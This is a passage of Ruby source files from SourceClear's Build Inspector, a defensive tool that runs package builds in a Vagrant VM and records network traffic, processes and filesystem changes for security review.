66 | opts.on('-p', '--process ', String,
67 | 'Only process evidence at ') do |evidence_path|
68 | options[:only_process] = evidence_path
69 | end
70 |
71 | opts.on('-r', '--results ', String,
72 | 'Load previously analyzed results at ') do |results_path|
73 | options[:results] = results_path
74 | end
75 |
76 | opts.on('-s', '--script ', String,
77 | 'Run script at against evidence.') do |script|
78 | options[:script] = script
79 | end
80 |
81 | opts.on('-b', '--branch ', String,
82 | "Clone from repository URL") do |branch|
83 | options[:branch] = branch
84 | end
85 |
86 | opts.on('-P', '--package ', String, 'Install specified ') do |package|
87 | options[:package] = package
88 | end
89 |
90 | opts.on('--url', String, "Git repo path is a URL") do
91 | options[:is_url] = true
92 | end
93 |
94 | opts.on('--gem', String, "Perform a GEM based build") do |type|
95 | options[:package_manager] = 'gem'
96 |
97 | if options[:package]
98 | options[:config] = 'configs/gem.yml'
99 | else
100 | options[:config] = 'configs/bundler.yml'
101 | end
102 | end
103 |
104 | opts.on('--gradle', String, "Perform a Gradle based build") do |type|
105 | options[:package_manager] = 'gradle'
106 | options[:config] = 'configs/gradle.yml'
107 |
108 | if options[:package]
109 | options[:package] = nil
110 | end
111 | end
112 |
113 | opts.on('--maven', String, "Perform a Maven based build") do |type|
114 | options[:package_manager] = 'maven'
115 | options[:config] = 'configs/maven.yml'
116 |
117 | if options[:package]
118 | options[:package] = nil
119 | end
120 | end
121 |
122 | opts.on('--npm', String, "Perform a NPM based build") do |type|
123 | options[:package_manager] = 'npm'
124 | options[:config] = 'configs/npm.yml'
125 | end
126 | end
127 |
128 |
129 | optparse.parse!
130 |
131 |
132 | no_package_to_analyze = ARGV.size < 1 && options[:package].nil?
133 | no_evidence_to_process = options[:only_process].nil?
134 | no_script_to_run = (ARGV.size < 1 && options[:script].nil?) || (options[:only_process].nil? && options[:script].nil?)
135 |
136 |
137 | if no_package_to_analyze && no_evidence_to_process && no_script_to_run
138 | puts 'Please specify a repository URL or Path; Or an evidence to process; Or a script to run on a/an repo/evidence'
139 | puts optparse.help
140 | exit -1
141 | elsif no_package_to_analyze && no_evidence_to_process && !no_script_to_run
142 | puts 'Please specify an/a evidence/package/repo to be processed with --process, --package, --url, or '
143 | exit -1
144 | end
145 |
146 |
147 | if ARGV.size >= 1 && !options[:package].nil?
148 | puts "Package detected, Repo path #{ARGV.first} will be ignored"
149 | elsif ARGV.size >= 1
150 | options[:repo] = ARGV.first
151 | end
152 |
153 |
154 | if !no_evidence_to_process
155 | process_script_text = "with script at #{options[:script]}" if options[:script]
156 |
157 | if options[:only_process] == 's3'
158 | puts "Processing evidence stored in S3 #{process_script_text}"
159 | options[:s3] = true
160 | else
161 | puts "Processing evidence at #{options[:only_process]} #{process_script_text}"
162 | end
163 |
164 | if !no_package_to_analyze
165 | if options[:repo]
166 | puts "Ignoring repo #{options[:repo]} to analyze"
167 | options[:repo] = nil
168 | end
169 |
170 | if options[:package]
171 | puts "Ignoring package #{options[:package]} to analyze"
172 | options[:package] = nil
173 | end
174 | end
175 | end
176 |
177 |
178 | run_inspector(options, options[:repo])
179 |
--------------------------------------------------------------------------------
/inspector_lib.rb:
--------------------------------------------------------------------------------
1 |
2 | require_relative 'lib/build_inspector'
3 | require_relative 'lib/configuration'
4 | require_relative 'lib/evidence_collector'
5 | require_relative 'lib/evidence_processor'
6 | require_relative 'lib/printer'
7 | require_relative 'lib/vagrant_whisperer'
8 | require_relative 'lib/report_builder'
9 | require_relative 'lib/build_inspector_s3'
10 |
11 |
12 | def run_inspector(options, repo_path=nil)
13 | config_file = options[:config]
14 |
15 | if !File.file?(config_file)
16 | puts "Config file not found. Please ensure that #{options[:config]} exists."
17 | exit 1
18 | end
19 |
20 | whisperer = VagrantWhisperer.new(verbose: options[:verbose])
21 | config = Configuration.new(config_file, options[:package])
22 |
23 | if options[:s3]
24 | process_s3(options, whisperer.ip_address, config, repo_path)
25 | elsif options[:only_process]
26 | only_process(options, whisperer.ip_address, config, repo_path)
27 | else
28 | collect_evidence_and_build_report(options, repo_path, whisperer, config)
29 | end
30 | end
31 |
32 |
33 | private
34 |
35 | def print_header
36 | puts '****************************** [:] ******************************'
37 | puts '* Build Inspector - SRC:CLR - https://www.sourceclear.com/ *'
38 | puts '* Security for open-source code. *'
39 | puts '****************************** [:] ******************************'
40 | puts "\n"
41 | end
42 |
43 |
44 | def process_s3(options, ip_address, config, repo_path)
45 | b = BuildInspectorS3.new(options[:results], options[:script])
46 | b.get_evidences.each do |evidence|
47 | b.download(evidence)
48 | options[:only_process] = b.downloads_folder(evidence)
49 | only_process(options, ip_address, config, repo_path)
50 | File.delete(b.downloads_folder(evidence))
51 | end
52 | end
53 |
54 |
55 | def only_process(options, vagrant_ip, config, repo_path=nil)
56 | start_time = Time.now
57 | zipped_evidence_path = options[:only_process]
58 | evidence_path = zipped_evidence_path.sub(/(.*)\.zip/, '\1')
59 | EvidenceCollector.unzip(zipped_evidence_path, "#{evidence_path}")
60 |
61 | # evidence_name = "#{evidence_path}/evidence"
62 | should_cleanup = true
63 |
64 | print_header
65 |
66 | processor = EvidenceProcessor.new(evidence_path: evidence_path,
67 | vagrant_ip: vagrant_ip,
68 | host_whitelist: config.host_whitelist)
69 |
70 | if options[:script] and options[:script] != ''
71 | should_cleanup = !processor.process_evidence(options[:script], options[:package_manager])
72 | else
73 | processor.process
74 | end
75 |
76 | end_time = Time.now
77 | total_time = end_time - start_time
78 | puts Printer.yellowify("[:] Build inspector finished after #{total_time} seconds")
79 |
80 | FileUtils.rm_rf(evidence_path, :secure=>true) if should_cleanup
81 | puts Printer.yellowify("View the full build report:") unless should_cleanup
82 | puts " ./#{evidence_path}" unless should_cleanup
83 | end
84 |
85 |
86 | def collect_evidence_and_build_report(options, repo_path=nil, whisperer, config)
87 | print_header
88 | start_time = Time.now
89 | whisperer.up
90 |
91 | if options[:package]
92 | repo_name = options[:package]
93 | elsif options[:is_url]
94 | repo_name = repo_path.split('/').last.chomp('.git')
95 | else
96 | repo_name = File.basename(repo_path)
97 | unless File.exists?(repo_path)
98 | puts "The repo path #{repo_path} does not exist. Did you mean to use --url ?"
99 | exit -1
100 | end
101 | end
102 |
103 | inspector = BuildInspector.new(
104 | whisperer: whisperer, repo_path: repo_path, package: options[:package],
105 | is_url: options[:is_url], repo_branch: options[:branch],
106 | commands: config.commands, evidence_files: config.evidence_files
107 | )
108 |
109 | whisperer.snapshot
110 | inspector.inspect
111 |
112 | evidence_file_name = "#{options[:package_manager]}-#{repo_name}"
113 | evidence_name = "evidence-#{evidence_file_name}-#{Time.now.strftime('%Y%m%d%H%M%S')}"
114 |
115 | config_name = options[:config]
116 | collector = EvidenceCollector.new(whisperer: whisperer, evidence_name: evidence_name, config_name: config_name)
117 | puts Printer.yellowify('Collecting evidence ...')
118 | collector.collect
119 | whisperer.rollback if options[:rollback]
120 |
121 | processor = EvidenceProcessor.new(evidence_path: evidence_name,
122 | vagrant_ip: whisperer.ip_address,
123 | host_whitelist: config.host_whitelist)
124 | processor.process
125 |
126 | end_time = Time.now
127 | total_time = end_time - start_time
128 | puts Printer.yellowify("[:] Build inspector finished after #{total_time} seconds\n")
129 |
130 | build_report_path = "#{evidence_name}/build-report.html"
131 | ReportBuilder.build("#{build_report_path}", repo_path, repo_name, options, config, processor, start_time, end_time)
132 | puts Printer.yellowify("View the full build report:")
133 | puts " ./#{build_report_path}"
134 | end
--------------------------------------------------------------------------------
/lib/build_inspector.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require_relative 'printer'
18 | require_relative 'vagrant_whisperer'
19 |
20 | class BuildInspector
21 | EVIDENCE_PATH = '/evidence'.freeze
22 | BACKUP_PATH = '/backup'.freeze
23 | REPO_PATH = '/home/vagrant/repo'.freeze
24 | RDIFF_TARGET = '/'.freeze
25 |
26 | PCAP_FILE = 'traffic.pcap'.freeze
27 | FILESYSTEM_DIFF_FILE = 'filesystem-diff.txt'.freeze
28 | FILESYSTEM_CHANGES_FILE ='filesystem-changes.txt'.freeze
29 | DIFF_RUBY = %Q~IO.readlines("#{EVIDENCE_PATH}/#{FILESYSTEM_DIFF_FILE}").each { |e| puts e; o,f = e.strip.split(": "); puts `diff -u #{BACKUP_PATH}/\#{f} /\#{f}` if o.eql?("changed") && File.exists?("/"+f) && !File.directory?("/"+f)}~.freeze
30 | FILESYSTEM_DIFF_CMD = "ruby -e '#{DIFF_RUBY}' > #{EVIDENCE_PATH}/#{FILESYSTEM_CHANGES_FILE}".freeze
31 | PROCESSES_BEFORE_FILE = 'ps-before.txt'.freeze
32 | PROCESSES_AFTER_FILE = 'ps-after.txt'.freeze
33 | PROCESSES_FILE = 'snoopy.log'.freeze
34 |
35 | def initialize(whisperer:, repo_path:, package:, is_url:, repo_branch: , commands:, evidence_files: '', verbose: false)
36 | @whisperer = whisperer
37 | @repo_path = repo_path
38 | @package = package
39 | @is_url = is_url
40 | @repo_branch = repo_branch
41 | @commands = Array(commands)
42 | @evidence_files = evidence_files
43 | @verbose = verbose
44 | end
45 |
46 | def inspect
47 | reset_network
48 | clone_repo
49 | snapshot_filesystem
50 | start_monitoring
51 | build
52 | stop_monitoring
53 | get_filesystem_changes
54 | end
55 |
56 | private
57 |
58 | def clone_repo
59 | return if @package
60 |
61 | if @is_url
62 | @whisperer.run(message: "Cloning #{@repo_path}:#{@repo_branch} ...") do |commands|
63 | branch = @repo_branch ? "--branch=#{@repo_branch}" : ''
64 | commands << "git clone --recursive --depth=50 #{branch} #{@repo_path} #{REPO_PATH}"
65 | end
66 | else
67 | @whisperer.run(message: "Copying #{@repo_path} to inspector ...") do |commands|
68 | @whisperer.send_file(@repo_path, REPO_PATH)
69 | if @repo_branch
70 | commands << "cd #{REPO_PATH}"
71 | commands << "git checkout #{@repo_branch}"
72 | end
73 | end
74 | end
75 | end
76 |
77 | def reset_network
78 | # If the host machine's IP address changes, this can confuse Vagrant
79 | # Resetting the network allows Vagrant to update network info
80 | @whisperer.run(stream: true) { |c| c << 'sudo ifdown eth0 && sudo ifup eth0' }
81 | end
82 |
83 | def snapshot_filesystem
84 | filelist = @evidence_files.gsub(/\$HOME/, @whisperer.home)
85 | local_list = Tempfile.new('evidence-files')
86 | local_list.write(filelist)
87 | local_list.rewind
88 | @whisperer.send_file(local_list.path, rdiff_filelist_path)
89 | local_list.close
90 | local_list.unlink
91 |
92 | @whisperer.run(message: 'Preparing file system snapshot (this may take a while) ...') do |commands|
93 | commands << "sudo rdiff-backup --include-filelist #{rdiff_filelist_path} #{RDIFF_TARGET} #{BACKUP_PATH}"
94 | end
95 | end
96 |
97 | def rdiff_filelist_path
98 | File.join(VagrantWhisperer::TMP_PATH, 'evidence-files.txt')
99 | end
100 |
101 | def start_monitoring
102 | @whisperer.run(message: 'Preparing network and process monitoring ...') do |commands|
103 | commands << "sudo tcpdump -w #{EVIDENCE_PATH}/traffic.pcap -i eth0 > /dev/null 2>&1 &disown"
104 | commands << "ps --sort=lstart -eott,cmd > #{EVIDENCE_PATH}/#{PROCESSES_BEFORE_FILE}"
105 | commands << "sleep 0.1 && truncate -s 0 /var/log/snoopy.log"
106 | end
107 | end
108 |
109 | def build
110 | @whisperer.run(message: 'Starting build ...') do |commands|
111 | # TODO inspecting a directory that's not a git repository will show errors
112 | commands << "cd #{REPO_PATH}"
113 | commands << "git submodule init"
114 | commands.concat(@commands)
115 | commands << Printer.yell('Done. Your build exited with $?.')
116 | end
117 | end
118 |
119 | def stop_monitoring
120 | @whisperer.run(message: 'Stopping network monitoring ...') do |commands|
121 | commands << 'sudo pkill tcpdump'
122 | commands << "ps --sort=lstart -eott,cmd > #{EVIDENCE_PATH}/#{PROCESSES_AFTER_FILE}"
123 | end
124 | end
125 |
126 | def get_filesystem_changes
127 | @whisperer.run(message: 'Generating file system changes ...') do |commands|
128 | get_current_mirror = "`sudo rdiff-backup --list-increments #{BACKUP_PATH} | awk -F\": \" '$1 == \"Current mirror\" {print $2}'`"
129 | commands << "sudo rdiff-backup --include-filelist #{rdiff_filelist_path} --compare-at-time \"#{get_current_mirror}\" #{RDIFF_TARGET} #{BACKUP_PATH} > #{EVIDENCE_PATH}/#{FILESYSTEM_DIFF_FILE}"
130 |
131 | # This MUST happen remotely, even though it's ugly, because it:
132 | # Uses diff, which may not be on host OS
133 | # May need to compare files against those in BACKUP_PATH
134 | commands << FILESYSTEM_DIFF_CMD
135 | end
136 | end
137 | end
138 |
--------------------------------------------------------------------------------
/lib/build_inspector_s3.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'aws-sdk'
18 | require 'fileutils'
19 | require 'json'
20 |
21 | class BuildInspectorS3
22 |
23 | def initialize(results_file, script_name)
24 | if credentials_not_found
25 | puts 'Please ensure the secrets AWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY, are set in ENV.'
26 | exit -1
27 | end
28 |
29 | @uploader = Aws::S3::Resource.new(region: region_name)
30 | @client = Aws::S3::Client.new(region: region_name)
31 | @files = []
32 | @analyzed_evidence = load_results(results_file)
33 | @script_name = script_name
34 | end
35 |
36 | def upload(file)
37 | puts " [x] Uploading #{file}..."
38 | obj = @uploader.bucket(bucket_name).object(File.basename(file))
39 | obj.upload_file(file)
40 | puts " [x] Uploaded #{file}"
41 | end
42 |
43 | def get_evidences
44 | puts ' [x] Collecting new evidences...'
45 | @client.list_objects(bucket: bucket_name).each do |response|
46 | not_analyzed_evidence = response.contents.map { |object| object[:key] if !@analyzed_evidence.key?(evidence_folder(object[:key])) }.compact
47 | @files.concat not_analyzed_evidence
48 | end
49 | puts " [x] Collected #{@files.length} new evidence(s)."
50 | @files
51 | end
52 |
53 | def download(filename)
54 | puts " [x] Downloading #{filename}..."
55 | create_download_dir
56 | File.open(downloads_folder(filename), 'wb') do |file|
57 | reap = @client.get_object({ bucket: bucket_name, key: filename }, target: file)
58 | end
59 | puts " [x] Downloaded #{filename}"
60 | filename
61 | end
62 |
63 | def downloads_folder(filename='')
64 | File.expand_path("../../#{@script_name}/#{filename}", __FILE__)
65 | end
66 |
67 |
68 | private
69 |
70 | def evidence_folder(zipped_filename='')
71 | filename = zipped_filename.sub(/(.*)\.zip/, '\1')
72 | File.expand_path("../../#{@script_name}/#{filename}/evidence", __FILE__)
73 | end
74 |
75 | def load_results(file)
76 | return {} if !file
77 |
78 | if File.file?(file) and !File.zero?(file)
79 | File.open(file, 'r') do |f|
80 | @analyzed_evidence = JSON.load(f)
81 | end
82 | else
83 | @analyzed_evidence = {}
84 | end
85 | end
86 |
87 | def create_download_dir
88 | dirname = downloads_folder
89 | unless File.directory?(dirname)
90 | FileUtils.mkdir_p(dirname)
91 | end
92 | end
93 |
94 | def credentials_not_found
95 | return ENV['AWS_ACCESS_KEY_ID'].nil? && ENV['AWS_SECRET_ACCESS_KEY'].nil? && ENV['AWS_PROFILE'].nil?
96 | end
97 |
98 | def region_name
99 | ENV['AWS_REGION_NAME'] || 'us-east-1'
100 | end
101 |
102 | def bucket_name
103 | ENV['AWS_BUCKET_NAME'] || 'build-inspector'
104 | end
105 |
106 | end
107 |
--------------------------------------------------------------------------------
/lib/configuration.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'yaml'
18 |
19 | class Configuration
20 | attr_reader :config
21 |
22 | def initialize(config = 'config.yml', package = nil)
23 | @config = YAML.load_file(config) if File.exist?(config)
24 | @config ||= {}
25 | @config['evidence_files'] ||= {}
26 | @config['commands'] = ["#{@config['commands'].first} #{package}"] if package
27 | @excluded = @config['evidence_files'].fetch('exclude', [])
28 | @included = @config['evidence_files'].fetch('include', [])
29 | end
30 |
31 | def method_missing(sym, *args, &block)
32 | @config[sym.to_s]
33 | end
34 |
35 | # Returns evidence_files configuration as a string in
36 | # rdiff-backup's --include-filelist format
37 | def evidence_files
38 | @excluded.map { |x| "- #{x}" }.concat(@included) * "\n"
39 | end
40 | end
41 |
--------------------------------------------------------------------------------
/lib/evidence_collector.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'fileutils'
18 | require 'zip'
19 | require_relative 'build_inspector'
20 | require_relative 'vagrant_whisperer'
21 |
22 | class EvidenceCollector
23 | def initialize(whisperer:, evidence_name:, config_name:, verbose: false)
24 | @whisperer = whisperer
25 | @evidence_name = evidence_name
26 | @config_name = config_name
27 | @verbose = verbose
28 | end
29 |
30 | def collect
31 | copy_snoopy_log
32 |
33 | zip_name = "#{@evidence_name}.zip"
34 | remote_zip_path = "#{@whisperer.home}/#{zip_name}"
35 | zip(BuildInspector::EVIDENCE_PATH, remote_zip_path)
36 | @whisperer.get_file(remote_zip_path)
37 | EvidenceCollector.unzip(zip_name, @evidence_name)
38 |
39 | # Call these after unzipping so target directory will exist
40 | copy_configuration
41 | end
42 |
43 | private
44 |
45 | def copy_configuration
46 | dest_file = File.join(@evidence_name, @config_name)
47 | FileUtils.mkdir_p(File.dirname(dest_file))
48 | FileUtils.copy_file(@config_name, dest_file)
49 | end
50 |
51 | def copy_snoopy_log
52 | @whisperer.run { |c| c << "sudo cp /var/log/snoopy.log #{BuildInspector::EVIDENCE_PATH}" }
53 | end
54 |
55 | def zip(target, zip_path)
56 | @whisperer.run { |c| c << "zip -r #{zip_path} #{target} 2>&1 > /dev/null" }
57 | end
58 |
59 | def self.unzip(zip_path, destination)
60 | Zip::File.open(zip_path) do |zip|
61 | zip.each do |entry|
62 | path = File.join(destination, entry.name)
63 | FileUtils.mkdir_p(File.dirname(path))
64 | entry.extract(path) { true } # overwrite destination
65 | end
66 | end
67 | end
68 | end
69 |
--------------------------------------------------------------------------------
/lib/evidence_processor.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'resolv'
18 | require_relative 'build_inspector'
19 | require_relative 'packet_inspector'
20 | require_relative 'scripts/build_inspector_script'
21 | require_relative 'scripts/insecure_network_finder'
22 | require_relative 'scripts/network_activity_finder'
23 |
24 | class EvidenceProcessor
25 | attr_reader :evidence_path
26 |
27 | KILOBYTE = 1024.0
28 |
29 | SNOOPY_FILTER = [
30 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/rm\]: rm #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~,
31 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/bash\]: bash -c scp -t #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~,
32 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/scp\]: scp -t #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~,
33 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/bash\]: bash -c bash -l #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~,
34 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/bash\]: bash -l #{Regexp.escape(VagrantWhisperer::TMP_CMDS)}\n\z~,
35 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo rdiff-backup --list-increments /backup\n\z~,
36 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/rdiff-backup\]: rdiff-backup --list-increments /backup\n\z~,
37 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo rdiff-backup --include-filelist /tmp/evidence-files\.txt --compare-at-time [^/]+/ /backup\n\z~,
38 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/rdiff-backup\]: rdiff-backup --include-filelist /tmp/evidence-files\.txt --compare-at-time [^/]+/ /backup\n\z~,
39 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/ruby\]: #{Regexp.escape("ruby -e " + BuildInspector::DIFF_RUBY).tr("'", '')}\n\z~,
40 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo pkill tcpdump\n\z~,
41 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/pkill\]: pkill tcpdump\n\z~,
42 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/ps\]: ps --sort=lstart -eott,cmd\n\z~,
43 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/awk\]: awk -F: \$1 == "Current mirror" {print \$2}\n\z~,
44 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/diff\]: diff -u /backup/home/vagrant/\.bashrc /home/vagrant/\.bashrc\n\z~,
45 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/sudo\]: sudo cp /var/log/snoopy\.log /evidence\n\z~,
46 | %r~\A\[uid:0 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/cp\]: cp /var/log/snoopy\.log /evidence\n\z~,
47 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/cat\]: cat /home/vagrant/\.rvm/(RELEASE|VERSION)\n\z~,
48 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/grep\]: grep DISTRIB_ID=Ubuntu /etc/lsb-release\n\z~,
49 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/grep\]: #{Regexp.escape('grep ^\s*rvm .*$ /home/vagrant/.rvmrc')}\n\z~,
50 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/grep\]: #{Regexp.escape('grep ^#ruby= /home/vagrant/repo/Gemfile')}\n\z~,
51 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/grep\]: #{Regexp.escape('grep -E ^\s*ruby /home/vagrant/repo/Gemfile')}\n\z~,
52 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/ps\]: ps -p \d+ -o ucomm=\n\z~,
53 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_arch=# { s#^system_arch=##;; p; } -e /^$/d')}\n\z~,
54 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_name=# { s#^system_name=##;; p; } -e /^$/d')}\n\z~,
55 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_name_lowercase=# { s#^system_name_lowercase=##;; p; } -e /^$/d')}\n\z~,
56 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_type=# { s#^system_type=##;; p; } -e /^$/d')}\n\z~,
57 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/bin/sed\]: #{Regexp.escape('sed -n -e \#^system_version=# { s#^system_version=##;; p; } -e /^$/d')}\n\z~,
58 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/sed\]: #{Regexp.escape('sed -e s/-/ /')}\n\z~,
59 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/bin/uname\]:~,
60 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/home/vagrant/\.rvm/rubies/ruby-[\d\.]+/bin/ruby\]: #{Regexp.escape("ruby -e " + BuildInspector::DIFF_RUBY).tr("'", '')}\n\z~,
61 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/awk\]: #{Regexp.escape('awk -F= $1=="DISTRIB_RELEASE"{print $2} /etc/lsb-release')}\n\z~,
62 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/dirname\]:~,
63 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/dpkg\]: dpkg --print-architecture\n\z~,
64 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/head\]: head -n 1\n\z~,
65 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/locale\]:~,
66 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant filename:/usr/bin/tr\]: #{Regexp.escape('tr [A-Z] [a-z]')}\n\z~,
67 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant(?:/repo)? filename:/usr/bin/which\]:~,
68 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/find\]:~,
69 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/basename\]:~,
70 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/lib/git-core/git\]:~,
71 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/bin/ls\]:~,
72 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/expr\]:~,
73 | %r~\A\[uid:1000 sid:\d+ tty:\(none\) cwd:/home/vagrant/repo filename:/usr/bin/dirname\]:~,
74 | ]
75 |
76 | def initialize(evidence_path:, vagrant_ip:, host_whitelist:)
77 | @evidence_path = File.join(evidence_path, 'evidence')
78 | @vagrant_ip = vagrant_ip
79 | @host_whitelist = host_whitelist
80 | end
81 |
82 | def process
83 | print_processes
84 | print_connections
85 | print_insecure_connections
86 | print_filesystem_changes
87 | print_running_processes
88 | end
89 |
90 | def process_evidence(script_path, package_manager=nil)
91 | if script_path.include? 'insecure_network'
92 | i = InsecureNetworkFinder.new(evidence_path: @evidence_path, package_manager: package_manager, host_whitelist: @host_whitelist)
93 | puts "Results: #{i.run.to_s.upcase}"
94 | return i.run # returns true/false
95 | elsif script_path.include? 'network_activity'
96 | i = NetworkActivityFinder.new(evidence_path: @evidence_path, package_manager: package_manager, host_whitelist: @host_whitelist)
97 | puts "Results: #{i.run.to_s.upcase}"
98 | return i.run # returns true/false
99 | else
100 | puts ' [*] Script not found.'
101 | end
102 |
103 | false
104 | end
105 |
106 | def get_unfiltered_processes
107 | snoopy_path = File.join(@evidence_path, BuildInspector::PROCESSES_FILE)
108 | IO.readlines(snoopy_path, :encoding => 'ISO-8859-1')
109 | end
110 |
111 | def get_processes
112 | lines = get_unfiltered_processes
113 | SNOOPY_FILTER.each do |filter|
114 | lines -= lines.grep(filter)
115 | end
116 |
117 | # The particular version of gradle we use calls a perl script when using submodules
118 | perl_lines = lines.select { |l| l.include?('filename:/usr/bin/perl]: /usr/bin/perl -e') }
119 | require 'digest'
120 | sha256 = Digest::SHA256.new
121 | perl_lines.each do |pl|
122 | idx = lines.find_index(pl)
123 | next unless idx
